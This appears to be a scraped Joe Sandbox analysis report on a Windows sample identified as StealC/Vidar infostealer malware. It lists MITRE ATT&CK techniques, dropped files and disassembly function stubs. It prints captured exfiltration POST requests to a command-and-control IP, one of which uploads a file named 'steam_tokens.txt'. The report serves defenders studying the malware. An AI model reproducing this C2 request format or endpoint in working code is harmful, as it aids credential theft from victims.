Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="file"------JKEGDHCFCAAECAKECBAF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="message"ybncbhylepme------KKJKFBKKECFHJKEBKEHI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJEGDBGDBFIJKECBAKFB--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKJKJDGCGDBGDHIJKJECFCFBG

C:\ProgramData\BAAAAKJK

C:\ProgramData\CAFIEBKKJJDAKFHIDBFHJDBFBA

C:\ProgramData\DAAFBAKE

C:\ProgramData\DGCAAFBFBKFIDGDHJDBK

C:\ProgramData\HDAKJDHIEBFIIDGDGDBA

C:\ProgramData\HDAKJDHIEBFIIDGDGDBAEGCGDA

C:\ProgramData\IJEGDBGDBFIJKECBAKFBFIDGCF

C:\ProgramData\KJDGDBFBGIDGIEBGHCGI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00199860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 001845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 0018BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00194910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00184880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00199C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00187710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00190250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre